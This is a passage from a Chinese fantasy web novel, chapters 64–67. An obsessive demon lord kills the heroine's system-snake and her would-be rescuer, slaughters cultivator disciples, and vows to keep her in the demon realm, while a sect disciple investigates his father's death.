【你应该知晓,宿主大人不是这个世界的人,倘若一直待在这里,她活不了多久的。】
【你放了她吧。】
靳江浛听到这句话后,低声喃喃:“不可能。”
也不知是在说岁忆谙不可能死,还是在说自己不可能放了岁忆谙。
“有没有法子救她…………”
零零零急忙说:【她天亮就能醒,法子我会想的。】
【大反派,你能不能先………松开我,我要喘………不过气了。】
零零零依旧在努力地扭动着身子,靳江浛沉思几秒,掐着它七寸的手松了一些。
刚松一些,零零零就低头狠狠咬了靳江浛虎口一口,不为别的,只为报复。
64. 掐死
虎口处传来的疼痛感没有让靳江浛松手,反而死死卡住了它。
零零零被掐得难受,它气愤道:【靳江浛,宿主大人根本就不喜欢你!】
靳江浛原本不想杀它,它是系统,也是岁忆谙养的蛇,可这句话触动到了他的逆鳞。
他突然轻笑出声,微眯着眸子,眸中杀意涌现,盯着蠕动的细长黑王蛇,手没松开,反而越捏越紧。
轻微的咔嚓声在房中响起,靳江浛随手将死掉的黑王蛇丢在角落,拿出帕子优雅地擦了擦手。
黑王蛇落地,躯体还在条件反射地扭曲着,沾满灰尘。
零零零的意识回到系统空间,圆溜溜的眼里满是震惊与迷茫。
刚刚靳江浛把它…………掐死了?
好不容易塑造出来的身体,被大反派掐死了,脖子断裂到不能用了,不过好在自己咬了他一口,虽然自己无毒,但有他好受的了。
零零零烦躁地飘来飘去,待会儿它一定要向宿主大人告状!
空间外,靳江浛垂眸,看着虎口处的两个小血洞看出了神。
他知晓黑王蛇无毒,可整只手掌发麻,伤口处逐渐变紫,向周围蔓延,如同中了毒一般。
他会死吗?
要不然就和岁忆谙一起死掉好了,可系统说了,她天亮就会醒。
他还想见到清醒的她。
虎口处的传来阵阵刺痛,靳江浛不自觉闷哼出声,想用魔力压制,可一点用处都没有,他怕吵着岁忆谙,便起身来到隔壁厢房。
岁忆谙被带回来之后,靳江浛就让穆净将华屿山放出,只为给岁忆谙诊病。
抬眼便看见站在门口的靳江浛,华屿山还以为岁忆谙出事了,还没问出口就见他移了把椅子坐下。
“怎么了?”
靳江浛将那只被咬了的手置在桌子上,淡淡道:“我中毒了,蛇毒。”
华屿山还以为发生了多大的事,结果只是中毒了,他问:“什么蛇的蛇毒?”
“黑王蛇。”
华屿山一愣,黑王蛇不是无毒吗?靳江浛会不会看错了?他也没问,说:“你用魔力逼出来不就好了。”
“没有用。”
华屿山:“…………”
他走进一瞧,眼底闪过惊讶,靳江浛的手掌已肿胀变紫,他神色一沉,认真问道:“你确定咬你的是黑王蛇?”
“尸体在隔壁,不过你应该拿不到,等谙醒来你再去问问吧。”
靳江浛嘱咐道,华屿山要是现在去的话,怕是会吵到岁忆谙。
华屿山搭在他手腕的脉搏上,激动万分:。
没想到我竟然能见到有毒的黑王蛇,那我华屿山岂不是第二个发现毒黑王蛇的了。”
“哈哈哈哈!”
听见笑声,靳江浛瞪了他一眼:“小点儿声。”
华屿山捂住了嘴,小声问:“你现在感觉怎么样?仔细说说呗。”
“被咬一盏茶内,被咬处发紫发麻。”
华屿山赶紧拿着笔墨记下来。
靳江浛见他这副样子有些无语,他继续说:“被咬一炷香后五脏六腑剧痛无比。”
靳江浛说得越发艰难,到后面直接一口血喷了出来。
“豁………吐血了。”
华屿山急忙躲开,免得又弄脏他的衣服,他依旧是一副嬉皮笑脸的模样。
“上榻吧。”
靳江浛很不喜欢别人对他用命令的语气说话,可他现在痛得连剑都使不出来,只能冷着脸走向床榻。
短短的几步路,靳江浛走得大汗淋漓,每挪动一寸就痛上一分。
华屿山走上前,指尖运转灵力,灵力在他体内游荡了一圈,
这脉象虽然紊乱,但却丝毫没有将死的迹象,这毒黑王蛇真是极其罕见。
“被咬一炷香后……吐血,血色发黑,脉象紊乱。”华屿山一只手感受他的脉象,一只手提笔写字。
靳江浛痛苦地呻吟着,额头冷汗直流,魔力也压制不住的疼痛。
“在忍忍,还有什么感受快说出来。”
听见他怎么说,靳江浛知道自己死不了,这也让他安下心了。
“头昏,心慌…………”话落,靳江浛又一口血喷了出来。
华屿山急忙闪开,看着被吐脏了的床单被褥,他深呼吸平复心情。
眼前的景象逐渐模糊,在一片混沌中,靳江浛好像看到了岁忆谙的背影,她一身红衣,正离自己越来越远,自己怎么追赶也追赶不上。
“我要死了吗?”
“谙……………”
寂静的厢房,床榻上的岁忆谙面色痛苦,浑身是汗,汗水浸湿了她的里衣。
她发了会儿呆,翻身下床,突然感觉手腕空荡。
手腕上的黑王蛇不见了!
余光一瞥,角落里有一个黑影。
凝神看去,是条蛇。
岁忆谙心中大惊,连忙走去将零零零拾起,蛇身子沾满了灰尘,脑袋耷拉在一旁,用手仔细摩挲,好像是骨头断裂了。
岁忆谙擦掉蛇身子上的灰,看着死掉的蛇,她并没有多少悲伤,零零零是系统,一堆程序应该不会死,可此刻的它并未出声。
还是先装一下吧,这样对她比较有利。
蹲在角落的岁忆谙衣衫单薄,她赤着脚,浑身颤抖,双手捧着蛇尸体,双眼渐渐泛红。
就在岁忆谙快演不下去时,零零零的声音在脑海中响起。
【宿主大人,零零零还没死…………】
岁忆谙听见声音,抱怨道:“你吓死我了,刚才怎么不说话?”
【没想到宿主大人会为零零零哭泣。】零零零的语气里带着几分喜悦,它很开心,这是它第一次被人在乎,与其他冷冰冰的系统不同。
岁忆谙站起身,眸中毫无哀痛,她脸不红心不跳地说:“因为我在乎你呀。”
【宿主大人别担心,死掉的只是我的躯体而已。】
“谁弄的?”
【还不是靳江浛,都怪他,他瞧见了我,让我…………】
话都到嘴边了,零零零才意识到自己不知该如何圆谎,自己也算是靳江浛的半个系统。
要是岁忆谙追问起来,肯定能察觉出端倪。
零零零添油加醋地将事情说了一遍,但隐去了它与主系统的对话,然后期待着岁忆谙接下来会怎么做。
岁忆谙面色阴冷,虽说黑王蛇在她心中占比不重,可靳江浛动了她的东西,这是让她最不满的一点。
岁忆谙从零零零的口中得知自己身处魔域。
她打算装作什么都
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不知晓的模样,看看能不能见到百年前活下来的魔族公主。
岁忆谙换完衣裳,便走出宫殿,站在门口看了眼牌匾,发现牌匾上的两个字是江南时,她心尖泛酸。
岁忆谙在魔域晃悠,令她感到奇怪的是,魔域既然没有守卫。
晃着晃着就来到了一座富丽堂皇的宫殿,看起来比江南宫还要宏大。
哐当一声,宫殿大门被一股无形的力量打开,里头灯光明亮,像是在邀请岁忆谙,她抬脚走进。
走到大殿之上,抬头便看见高位上坐着一个充满帝王之气的女子,女子手中还捧着一只白猿。
白猿令岁忆谙感到熟悉,仔细回想,她发现这只白猿就是安宁村出现的那只。
穆净缓缓开口:“你就是岁忆谙?”
岁忆谙故作迷茫地问:“你是谁?这是哪里?”
“这是魔域,本君是魔域的主人。”穆净语气懒散,气势却很强大。
“靳江浛跟我说过,你是穆净?”岁忆谙问。
穆净点点头,示意岁忆谙入座。
入座后,岁忆谙一堆的问题要问。
“我……我怎么来到了这里?”
“靳江浛送你过来的,他现在就住在江南宫,你若是想自己住,也可以在这魔域里挑一座。”
穆净说得大气,魔域空了百年,多谢人住进去,也能多些人气。
“多谢魔主。”
“岁姑娘不害怕吗?”穆净开始了她的试探,梦中毫无岁忆谙的身影,岁忆谙到底是何人?
岁忆谙明知故问:“害怕什么?”
“你是人,我是魔,还是生性残暴的魔。”
“生性残暴?我看着不像。”说着,岁忆谙还细细打量了穆净一眼。
穆净没有穿魔族特有的黑衣,而是一身纯粹的白色,看着真不像是生性残暴的人。
不过一想到她要将整个村的人炼成魔族,岁忆谙就打了个激灵。
“是吗?众仙门都是这么说的,我以为岁姑娘会相信他们所说的。”
穆净让手中的白猿跑掉,白猿跳下高位,蹦跶地来到岁忆谙面前,跳上岁忆谙的桌。
岁忆谙吓了一跳,好在白猿在是端坐在桌上,并未有其余举动。
穆净接着问:“人间分七洲,岁姑娘是哪洲人?”
“上珏桃花村。”
穆净调查不出岁忆谙过往事迹,但最近她做了什么还是可以查出来的。
“岁姑娘并非生于桃花村,并非长于桃花村,怎么能说是桃花村人呢?”
穆净带着审视的目光落下,岁忆谙镇定回复。
“我在人间四处游荡,在桃花村呆了两个月,那里的村民很好,我过得也很好,自然说得上是桃花村人。”
穆净听后扬眉点头。
两人有一搭没一搭得聊着,与此同时,江南宫内,被疼昏过去的靳江浛皱了皱鼻子。
隐隐约约间,靳江浛好像闻到了茶香,他缓缓睁开眼睛。
“你醒了啊。”
华屿山正坐在桌前饮茶,茶香弥漫着整间厢房,江南宫内并无茶叶,他是个天不怕地不怕的性子,这茶叶还是他亲自向穆净讨的。
华屿山将杯中茶水一饮而尽,开口道:“这毒不致命,就是折腾人而已。”
65. 魔域
“你现在感觉怎么样,我记记。”
靳江浛无语道:“我倒成了你的活人试体。”
“别那么小气,你不会死的,快说说看。”
靳江浛勉为其难道:“依旧头昏,四肢无力…………没了。”
华屿山一一记下,靳江浛又说:“那条蛇独一无二,世上怕是不会再有第二条毒黑王蛇了。”
“都没找过怎么就没有了,别太早下定论好吧。”
“那条蛇…………是她养的。”
靳江浛算是明白了,系统咬的那一口是在报复自己,他总有种预感,系统会让岁忆谙离开。
弄死那条蛇,承受岁忆谙的怒火和岁忆谙离开自己,他显然是选择后者。
“对了,柳微晴刚刚说,岁忆谙在大殿。”
话音刚落,靳江浛的身影就闪现在大殿之上。
“谙。”
靳江浛焦急地走到岁忆谙身前,将她拉起转了个圈,见人没事,暗暗松了口气。
“谁允许你擅自闯进?”穆净的语气里充斥着她对靳江浛举动的不满。
靳江浛横目看去,眸色阴森,身上威压四散。
穆净毫不畏惧,要是真打起来,谁输谁赢还不一定。
气氛沉重凝固,大战似乎一触即发,靳江浛刚有动作,手腕就被人拉住。
靳江浛回头看向岁忆谙,刹那间,眼中只剩柔情。
岁忆谙上前半步,挡在靳江浛面前,隔绝了两人的电光火石,她包含歉意道:“魔主,今日我们便聊到这里吧。”
穆净摊手,略微遗憾地说:“好吧,那我们改日再聊。”
出了大殿,靳江浛问:“谙,你没事吧。”
“我没事,但我的蛇有事。”
提到蛇,靳江浛一时慌了神。
“谙,我不是故意的,它先咬了我一口,我一时情急才…………”靳江浛还特意伸出了自己被咬的手,虎口处还有明显的伤口。
“谙,我改日再为你寻一条好吗?你别生气了。”
“好啊。”岁忆谙欣然答应,她垂眸,眸中冷淡,现如今还不是撕破脸的时候,她必须忍。
江南宫内,靳江浛依旧打算与岁忆谙住在同一间卧房,还是没有商量的那种。
岁忆谙直视他,再次分别过后,靳江浛变得强势了,稍许青涩的脸变得更加成熟,气势也更加凌人,让人不容拒绝。
靳江浛察觉到了岁忆谙的情绪,他轻声说。
“谙,我们只是暂时住在这里,等到穆净做完她想做的事情,我们就离开魔域回到桃花村。”
靳江浛还是喜欢平淡的生活,他要不是魔就好了,不然他也不用跟岁忆谙分开那么久。
岁忆谙却回绝了他:“我觉得这里也挺好的。”
“你若是喜欢,那我们就在魔域住下去。”
岁忆谙仰头看他,看见了他发丝间簪着一支熟悉的桃花簪。
她记得当初在茅草屋里,靳江浛头上也簪着这只桃花簪。
“你头上这簪?”
“这是百年前你送我的……你不在的日子里我一直戴着,就当是你还在我身边。”
岁忆谙消失后,靳江浛就一直守着她送给自己的桃花枝。
可惜被折下来的桃花终究会枯萎,靳江浛只能不断输入魔力维持桃花枝的生命。
岁忆谙听后,心情格外复杂,她自己都忘了,随手送出的桃花枝,靳江浛竟视若珍宝。
“既然你在我面前,那我也不用戴了。”说罢,靳江浛作势想要摘下,岁忆谙却拦下了他。
“戴着吧,挺好看的。”
靳江浛喜笑颜开:“听你的。”
深夜,两人同床共枕,谁都没有说话。
第一次同床,靳江浛丝毫不紧张,明明以往睡同一间屋子他的心脏都会跳个不停,这次倒是沉稳了许多。
岁忆谙闭着眼睡觉,实际上,她在与零零零商量。
【宿主大人,每隔一段时间,主系统就会修补自身程序,管不了零零零,零零零可以趁这个空挡,偷偷把通道打开,这样宿主大人就能回去了。】
岁忆谙问:【那主系统下一次修补自身程序是什么时候?】
【大概在一个月后,届时,宿主大人就去找路原。】
提起路原,岁忆谙又问:【路原?我还没问你路原的事情,他到底是什么东西?】
【他是零零零创造出来给宿主大人解闷的,路原会帮助您离开的。】
魔域竟然下起了雨,房内安静无比,只有窗外的雨声劈里啪啦响着。
岁忆谙伴着雨声入眠,一觉醒来,雨还在淅淅沥沥地下着,连绵不断地下了一整夜。
卧房门被推开,岁忆谙走出房门,她穿过长廊来到正厅,正巧看见靳江浛出现在厅中。
靳江浛一手捧着鲜艳的桃花枝,一手提着竹篮子。
篮子上被碎花布盖着,里头还传来嘎嘎嘎的声音。
“谙,我将桃花枝和鸭子都带回来了。”靳江浛跟献宝似地来到岁忆谙面前。
天还未亮,靳江浛就去了一趟桃花村,跟楚奶奶说了一声,将那些鸭子还有泡在缸里的桃花枝都带回来了。
岁忆谙大惊,他不会对路原起疑心吧。
问了零零零后,她才放下心来,路原早在靳江浛到桃花村前就躲起来了。
接下来的这段日子里,靳江浛过得战战兢兢,他生怕岁忆谙会追问洛河村和安宁村的事情,以及系统说的那句话。
这就导致靳江浛不愿让岁忆谙离开自己的视线范围,他成日跟在岁忆谙身后。
一个月说久也久,说不久也不久,这一个月内,靳江浛带着岁忆谙逛遍了魔域。
岁忆谙也发现了,魔域里的魔族一天比一天多,其中还有几人是她见过的。
凌仙宗———
穆净正与其余仙门商讨,他们派了许多弟子在魔域周围探查,毫无结果,便打算强攻。
穆净听后,忍不住捂嘴偷偷嗤笑,心中暗道这个愚蠢的法子。
不过穆净倒是没有反对,届时众仙门齐聚魔域,她很期待那样的场面。
宗内,下山历练的队伍中有姚钰君的身影,她资质上等,修炼才短短一月就比其他修炼半年的要强。
这让宗门内的其余弟子万分羡慕忮忌,明里暗里给她使绊子,穆净将这一切都看在眼里,她最讨厌这种小人了,将他们狠狠惩戒了一番。
此次下山的弟子有十三人,修为高的只有四人,其中就包括姚钰君。
姚钰君才修炼
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了一个月,本不能下山,可她修为。
修为高的弟子们都在干长老的活,实在是没人了。
十三人下了山,姚钰君并不想与弟子们同行,就找了个想家的借口离开,好在师兄师姐们富有同情心。
姚钰君下山是为了看看自己修炼得如何,走了不到一日,便看见了一个眼熟的人。
“白英空?”
“是你。”白英空认出了姚钰君,再次相见已是一月之后,姚钰君的变化极大。
修炼一月的姚钰君气质高雅,身形窈窕,丝毫不见往日唯诺。
姚钰君恭敬行礼:“弟子姚钰君,见过大师兄。”
“你怎么下山了?”白英空记得姚钰君才入宗门一月吧。
“下山历练。”
白英空一听,脸上露出了欣慰的笑容。
“只有入宗门一年以上才有资格下山历练,看来你修炼得不错。”
“多谢师兄夸赞。”
看着白英空脸上满是疲惫,姚钰君问:“师兄这些日子去了哪里?”
白英空叹气:“去找我那不成器的师弟以及长老们。”
姚钰君在宗门里听过他们失踪的事情,她没想到靳江浛是凌仙宗弟子,不过她并未将靳江浛在桃花村的事情说出去。
当姚钰君得知白英空找了一个月后,她有些可怜白英空了。
“我应该知晓他在何处。”
姚钰君带着白英空来到了桃花村,她敲开了楚奶奶家的门。
开门的却是一个陌生的男子。
姚钰君愣了一下,特意四处看了看,确认自己没走错,她问:“这位公子,请问这是楚奶奶家吗?”
“是,不过楚奶奶在睡觉,你们怕是得等一会儿了。”路原道。
“请问你是楚奶奶何人?”
“我叫路原,是楚奶奶的邻居,岁姑娘托我照顾楚奶奶。”
站在一旁等候的白英空听到了岁姑娘三字,不管是否是岁忆谙,他急忙问:“那你可知岁姑娘去了哪里?”
“她…………”
路原顿了顿,不知想到了什么,说:“她去了魔域。”
一月已到,这日清晨,岁忆谙正在给移栽到土里的桃花浇水时,零零零出声了,它说现在就可以去找路原。
岁忆谙跟靳江浛说自己身体不适,想在房中休息,关上房门之际,她并未看见靳江浛幽暗的眼神。
岁忆谙之前就发现了,除了魔族术法,其余任何术法都不能在魔域施展。
尤其是穿梭符。
之后她才从零零零口中得知,原来是靳江浛施法遏制了她的符,只进不出。
岁忆谙觉得靳江浛阴险狡诈,这不就明摆着防止自己离开嘛。
也有想过让路原过来,可零零零又说路原就是那只猫,那天靳江浛就见过路原,还将路原杀了。
所以岁忆谙只能先离开魔域,再用穿梭符。
零零零给岁忆谙指路,一人一统顺利离开了魔域。
刚踏出魔域地界,岁忆谙四周就落下数道身影。
岁忆谙扫视一圈,他们个个身着白衣,手持武器。
其中一个上了年纪的男子在看见岁忆谙的脸后,伸出手,大惊失色地指着她。
“是你?!”
66. 岁岁有灵
众人的视线纷纷看去,岁忆谙看着男子,疑惑道:“你认识我?”
男子上前一步,愤愤地说:“百年前,仙魔大战那日,你带走了一个魔族,还打晕了我。”
记忆被拉回岁忆谙刚来到这个世界的时候,她看着男子的脸有些恍惚。
百年前的男子面容清秀,黑丝掺白,不过有法力维持容貌,看起来也没老多少,顶多三四十岁。
岁忆谙恍然大悟:“原来是你,百年不见,你都变得这么老了。”
时光如流水般逝去,百年说过去就过去了。
“你到底是何身份,不是魔不是妖,是人为何能容颜不老?”
男子依旧在执着岁忆谙的身份,他对百年前被一棍子打晕耿耿于怀。
“废话那么多做什么,她是从魔域出来的,自然是魔。”另一名男子开口。
在他们说话时,岁忆谙的手已经伸进了布袋子里。
“因为………”
众人看向说话的岁忆谙,期待着她的下一句。
“我是神啊。”
神?
世上早已无神,她会是神吗?
趁着众人愣住,岁忆谙掏出符箓甩向空中。
“尔等刹那———定!”
符箓飞向空中,又飘飘然落下。
所有人的视线都追随着符箓,直至符箓落地都没产发生什么状况,气氛有些安静。
岁忆谙诧异,定众符怎么没用了?
她拾起符箓,仔细看了一遍符纹。
没画错啊,怎么没用呢?
“抓她啊!”不知是谁喊了一句,众人一拥而上。
就在这时,破空声传来,一把泛着寒光的黑石长剑从魔域冲出,势如破竹。
黑石长剑穿梭在众人之间,散发出的剑气十分狠戾,众人抵不过,齐齐躲避,躲不过的被剑气击倒在地。
黑石长剑绕了一圈,掀起凛风,尘土飞扬,岁忆谙抬臂,宽袖掩面,发丝飞舞,薄荷色的裙摆翩翩。
岁岁确认没有人能威胁到岁忆谙后,便竖起剑身浮在她身前。
“是魔气!”
众人哗然,霎时间,无人敢近岁忆谙的身。
岁忆谙的心思不在他们身上,而在自己的符为何用不了上。
刚想开口询问零零零时,下一刻,一团青烟出现岁忆谙身侧。
靳江浛的身影在袅袅青烟中显现,他身着墨绿长衫,衣袂飘荡。
岁忆谙侧头看他,他面色阴沉,于是自己抢先一步开口:“岁岁来的竟然比你还快。”
靳江浛垂眸笑道:“岁岁有灵,它会保护你。”
“难道不是你想保护我吗?”
靳江浛怔愣,岁岁是他的佩剑,生出的剑灵自然与他绑在一起。
岁岁行的是他想做之事,做的也是他想做之举。
靳江浛抬眼直视岁忆谙,心中忐忑地反问道:“你抵触我的保护吗?”
“当然不。”
岁忆谙并未深思,不厌恶不就是不抵触吗?
两人若无旁人地对视着,饱含情意地对视着,岁岁晃晃悠悠插入,阻断了两人的对视,岁忆谙率先移开视线。
靳江浛笑了,他心情舒畅,满面春风,看着周围倒了一地的人都顺眼了些,丝毫忘记他出来时想追问岁忆谙离开魔域的目的。
“我今日心情好,都滚吧。”说罢,靳江浛牵起岁忆谙的手想转身。
“靳江浛!”
人群中有人喊出了靳江浛的名字,回头看去,是倒在地上的一位身穿凌仙宗服饰男弟子。
男子撑着身子站起,他道:“刚开始我还不敢确定,没想到真是你。”
“千算万选都没算到你竟是魔,你可知白师兄还在找你!”
“你对得起白师兄吗?!”男子吼道。
靳江浛的脚步顿住,现如今一提起白英空他就烦,他的余光瞥向身侧的岁忆谙。
此刻的岁忆谙满脑子都是自己该如何前往桃花村,对于白英空她已经不在意了,反正她都要离开了。
见岁忆谙忧思重重,靳江浛很是不满,他压着怒气。
“那就告诉他,我在魔域,让他过来杀我。”
靳江浛回头看向那名弟子,眸中蕴含杀意。
“江浛………”
听见声音的那一刻,靳江浛愣了一下,视线转移,便看见白英空的身影从人群中走出,身后还跟着姚钰君。
“白英空。”靳江浛眸子微眯,嘴角含笑,丝毫没有被戳穿的尴尬,他等这一天很久了。
他是魔,不是人。
白英空不可置信地问:“江浛,刚刚那些话都是真的吗?你是魔?”
靳江浛微仰起头:“如你所见。”
“那鬼石…………”
“鬼石在我手上,鬼石魔力在我体内。”
一直寻找的鬼石竟然在自己的师弟身上,自己还跟个傻子一样四处奔波,被他看笑话,这是多么可笑的一件事。
白英空的手死死握着剑鞘,他努力控制自己的情绪,轻声道:“原来你一直在骗我。”
白英空红了眼,气得发抖,他大声质问:“那我爹呢?是不是你杀的。”
“你爹?我要是想杀你爹,那你们凌仙宗上上下下怕是都要为你爹陪葬了。”靳江浛随口说着。
“岁姑娘,你呢?”白英空的泪水在眼眶里打转,他努力憋着,像是病急乱投医般看向岁忆谙,这倒是给了岁忆谙一个机会。
“她自然是…………”
靳江浛正要替岁忆谙回答,却感受到她挣脱了自己的手。
岁忆谙往后退了几步,惶恐道:“我不是魔,白师兄,我是被胁迫的。”
众人:“?!”
众人都懵了,刚才岁忆谙不还对靳江浛说她不抵触他的保护吗?怎么一转头就说她是被胁迫的了?
“谙,你说什么?”靳江浛脑子一片空白,他以为他听错了。
岁忆谙跑向白英空,边跑边说:“白师兄,这里是魔域,我害怕,你快带我走吧。”
靳江浛不明白岁忆谙这么做的用意,他愣愣地看着岁忆谙跑离自己的背影,歪了歪脑袋,眼神透露出些许迷茫。
岁忆谙来到白英空身后,见众人还未反应过来,她又说:“我一直想逃离魔域,今日出来也只是为了逃跑而已。”
“谙,你…………”靳江浛刚想说话,三四道人影突然冲向他。
鬼石在靳江浛身上,将靳江浛捉回去,可谓是大功一件。
靳江浛闪身躲避,轻轻一挥袖,他们都飞了出去,接着他飞身朝岁忆谙的方向袭去。
“姚师妹,护好岁姑娘。”
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说罢,白英空拔剑出鞘,岁忆谙说自己是被靳江浛胁迫的,那她便是弱者,况且靳江浛是魔。
姚钰君点头应好,她同样拔剑站在岁忆谙身前。
眼见有人上前,其余弟子都不想放过这个立功的机会。
双方混战,靳江浛被一群白衣弟子围攻,他手持黑石长剑,剑剑狠戾,惨叫声不绝于耳。
岁忆谙清楚他们都不是靳江浛的对手,但她顾不上那么多了,她心中只有一个念头,就是离开这里。
掏出穿梭符,第一张没用,第二张没用,第三张依旧没用!
怎么回事?
岁忆谙只能想其他法子前往桃花村,她问姚钰君:“姚钰君,你可会御剑?”
姚钰君回:“自然会,怎么了?”
“我要去桃花村,你能帮我吗?”岁忆谙眼里都是着急,她迫切想要离开这里。
姚钰君同意了,她只当岁忆谙害怕想跑回家。
两人飞升上空,朝桃花村的方向飞去,在这个过程中,岁忆谙试图联系零零零,可它毫无答复。
落地桃花村,岁忆谙让姚钰君抓紧时间回去帮他们,而她则直冲楚奶奶家,还未进家门她就喊道:“路原,怎么样才能让我离开这里?”
岁忆谙并未发现桃花村诡异的寂静,推开门,伴随着吱呀声响起,岁忆谙怔愣在原地,她看见了满地猩红。
路原正躺在一大摊鲜血之中,水墨染红,脖颈处有一条惊心触目的伤口,正在往外疯狂涌血。
“路原!”岁忆谙冲过去,她将躺在血泊的路原扶起,用手去捂着他脖颈处的伤口。
路原还活着,他撑着最后一口气道:“快……走…………”
岁忆谙眼眶红了,她泪流满面,无助地望了望四周,最后全身像卸了力气般说:“我走不了了。”
手上沾满鲜血,泪水一滴一滴落下,路原怎么会死?又被谁杀死的?
路原死了,零零零不说话,她又该怎么离开?
“你为他哭了……你都没为我哭过。”
身后传来低落且哀怨的声音,靳江浛握着还在滴血的黑石长剑,一步一步走到岁忆谙身侧。
“是你杀了他。”
“是我。”靳江浛毫不犹豫地承认了,他并未感到这有何问题,他只是杀了个人而已。
岁忆谙不再说话,她不知晓自己该说什么,只有眼泪不停地流着。
不是为路原流的,是为自己回不去而流的。
【零零零,怎么办?路原死了。】
【零零零?零零零你在吗?】
岁忆谙再次求助零零零,将最后的希望压在了零零零身上。
可靳江浛却抹灭了岁忆谙的希望,他像是知晓岁忆谙在求助,蹲下身说:“在找那个系统吗?它已经被摧毁了。”
忽然间,天空乌云密布,电闪雷鸣,岁忆谙猛地看向靳江浛,闪电在她琥珀色的瞳孔划过,瞳中满是震惊。
靳江浛不想看见岁忆谙沉默,他宁愿岁忆谙撕心裂肺,宁愿岁忆谙骂他打他,这也好过用冷漠对待他。
靳江浛伸手抚上岁忆谙的脸颊,指腹抹掉她的泪水,自顾自解释道:“因为你要离开,所以它被摧毁了。”
似乎是想彻底激起岁忆谙的情绪,靳江浛又说:“而我杀路原,是因为他要带你走。”
67. 永远留在我身边
“是我自己要走的!”岁忆谙终于吼了出来,恼怒和害怕的情绪席卷全身,她浑身颤抖。
“楚奶奶呢?”岁忆谙接着问。
“死了,吓死的。”
轻飘飘的一句话令岁忆谙彻底崩溃,她不想和一个冷血无情的人呆在一块儿,再呆下去,她怕是要吐出来。
岁忆谙放下怀中断气的路原,推开靳江浛,站起身来朝门外走去。
靳江浛不说话,只是收起剑跟在她身后。
转眼就入秋了,太阳不再热烈,微风凉爽,桃花村的桃花都枯萎衰败,只留下了光秃秃的树枝。
岁忆谙这才发现桃花村的异样,雷声作响,点点雨滴落下,村内真的是血流成河了。
靳江浛这次倒是学会毁尸灭迹,桃花村空空荡荡的,不见尸体,只有血河。
靳江浛不知从哪儿拿出了一把伞,他为岁忆谙撑起伞。
两人在雨中并肩走着,越走靳江浛心越慌,他搞不懂岁忆谙想要做什么。
姚钰君应该已经到魔域了吧,岁忆谙只想拖延些时间,让她带白英空离开。
两人踏着血河走过,血水溅起,腥臭味沾染全身。
靳江浛忍不住拉住岁忆谙的手腕,迫使她停下,开口问道:“谙,我们一直待在一起不好吗?你为何执意要离开呢?”
岁忆谙心累地不想说话,靳江浛攥得很紧,她挣脱不开,只得无力道:“靳江浛,你就放我离开吧。”
靳江浛面色冷淡,语气沉静,只不过看着岁忆谙的眼底带着阴冷偏执。
“不,我不会放你走的,你要永远留在我身边,永远…………”
话落,周围环境一变,靳江浛带着岁忆谙回到了魔域。
魔域外只有血迹,并未看见修仙弟子。
进了魔域就彻底没有离开的机会了,岁忆谙强行掰开靳江浛的手。
“放开我!”
黑石长剑感应到了岁忆谙抵触的情绪,它不受靳江浛掌控突然出现,挡在两人之间。
剑身横着,锋利的剑尖径直指向靳江浛。
靳江浛见状,愣神一瞬,接着气笑出了声:“岁岁,就连你也背叛我?”
黑石长剑没有动静,但它的剑尖依旧指向靳江浛。
“岁岁,拦住他。”岁忆谙盯着靳江浛倒退几步,说罢转身就跑。
原本岁忆谙以为有岁岁拦着,就算它打不过靳江浛,自己也能跑多远跑多远。
但岁岁终究是靳江浛的佩剑,岁忆谙被靳江浛拦下。
看着眼前的人,岁忆谙想着,自己既然逃不了,要不就把靳江浛杀了?
这个念头一出现,熟悉的痛感席卷全身。
岁忆谙痛到喘不上气,靳江浛见她难受,浑身的低气压消失殆尽,他扔下黑石长剑,急忙朝岁忆谙奔去。
凌仙宗———
围攻靳江浛的修仙弟子大多都被他一击毙命,除了白英空,他被靳江浛打了个半死,浑身是伤。
谁带回来的人,谁照顾。
姚钰君无聊地坐在桌前,等着白英空苏醒。
榻上传来呜咽声,她侧头看去,白英空欲坐起身子。
“白师兄,你醒了。”姚钰君将准备好的汤药端到白英空面前。
白英空脸色惨白,虚弱至极,他弱弱开口:“我…………其余弟子呢?”
“凌仙宗一共去了十九位弟子,都死了,其余宗门弟子也没一个活着的。”
姚钰君一口气说完,也不顾及白英空承不承受得了。
白英空面露悲哀,强撑着问:“诸位宗主是何态度?”
“好生安葬,然后给他们家里人赔钱。”
姚钰君刚下山就遇见了这么大的情景,她还是有些怕的,这么多人说死就死了,只不过白英空怎么能活下来?是因为岁忆谙吗?
姚钰君端着手酸,将手中的药又往前送了送,说:“至于靳江浛是魔族之事,我还未告知他们。”
白英空一口将药灌下,说:“多谢师妹照顾,我累了,想独自一人呆呆。”
姚钰君终于能离开了,她走在回弟子卧房的路上,却被一位师兄拦下,师兄让她去守白宗主的棺材。
姚钰君万分无语,白宗主在她来凌仙宗之前就已经死了,到现在都还不下葬。
要不是冰棺,尸体怕是要臭熏天了,还得派人去守着棺材。
之前姚钰君就守过一次,冰棺极冷,她应下后,便回卧房换了件厚衫。
守棺的只有姚钰君一人,四下也无人,她拿起席垫坐到一旁摸鱼,从兜里掏出脆枣,啃了起来。
当白英空换完衣衫来到灵堂,刚一进门,就听见嚼吧嚼吧的声音,望了一圈,发现声音是从木柱后面传来的。
姚钰君啃着正起劲时,头上落下一片阴影,抬头一看,是白英空。
姚钰君身子一僵,将嘴里的枣嚼烂咽下后,礼貌道:“师兄要吃吗?”
白英空:“…………”
白英空转身离开,姚钰君站起身,趁他不注意将席垫踢回原位。
三两下把脆枣吃光后,拿帕子擦了擦手。
姚钰君担心白英空将自己摸鱼的事告诉另一个师兄,而且自己也摸不准他的态度,便走上问:“师兄要做什么?”
“我要开棺验尸。”白英空道。
白英空本不想哭的,但打开棺材板,见着自己亲爹的那一刻,他还是忍不住红了眼。
“爹,净宗主说你是被魔族杀害,那魔族……是靳江浛吗?”
白英空喃喃自语,接着他开始检查白宗主身上是否有伤痕。
姚钰君也不知自己要干什么,她只能站在一旁看着。
“伤口残留魔气,干净利落,并未有丝毫停顿,但是颈部有一圈勒痕,是何种武器留下的?”
姚钰君探头看了眼伤口,随口说:“鞭子吗?”
白英空侧头看了姚钰君一眼,似是再问她原因。
姚钰君:“…………见过类似鞭痕。”她总不能说沈狗东西经常用鞭子打她,所以她才认识吧。
白英空听进去了她的话。
“靳江浛的武器是黑石长剑,挖心脏的话怕是会脏了他的手,他也说不是他,那会是谁呢?”
靳江浛虽然是魔族,但白英空自认为了解他,他这人不屑说假话。
白英空问:“姚师妹,你在桃花村时,靳江浛与岁姑娘都有何举动?”
“两人每日就是上街卖菜,耕田锄地,做着寻常人做的事。”
“据我所知,
